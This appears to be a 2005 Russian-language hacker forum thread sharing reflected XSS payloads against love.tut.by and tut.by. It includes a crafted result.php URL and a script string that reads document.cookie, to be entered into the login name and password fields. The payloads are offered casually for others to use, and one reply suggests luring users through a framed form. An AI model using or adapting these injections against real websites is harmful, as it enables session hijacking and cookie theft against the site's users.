Love.tut.by [XSS]

Discussion in 'Уязвимости' started by PSalm69, 9 Sep 2005.

  1. PSalm69

    PSalm69 [ радиоверсия ]

    Joined:
    12 Jul 2005
    Messages:
    891
    Likes Received:
    300
    Reputations:
    530
    Может кому и пригодится
    http://love.tut.by/result.php?res=1&page=<script>alert(document.domain)</script>&res=<script>alert(document.domain)</script>

    http://www.tut.by
    в полях "ИМЯ" и "ПАРОЛЬ" вписываем
    ?"><script>alert(document.cookie)</script>

    не зависимо от выбора параграфа [почта, работа и тэдэ и тэп]

    результат наблюдаем сами.

    Удачи в реале.
     
    #1 PSalm69, 9 Sep 2005
    Last edited: 9 Sep 2005
  2. k1b0rg

    k1b0rg Тут может быть ваша реклама.

    Joined:
    30 Jul 2005
    Messages:
    1,182
    Likes Received:
    399
    Reputations:
    479
    кажется с этим ничо не сваришь.
    если тока свою форму с фреймами писать и заманивать людей
     
  3. bul666

    bul666 Banned

    Joined:
    21 Apr 2005
    Messages:
    280
    Likes Received:
    8
    Reputations:
    -1
    Пачивный Xss дейтсвительно ничего не даст..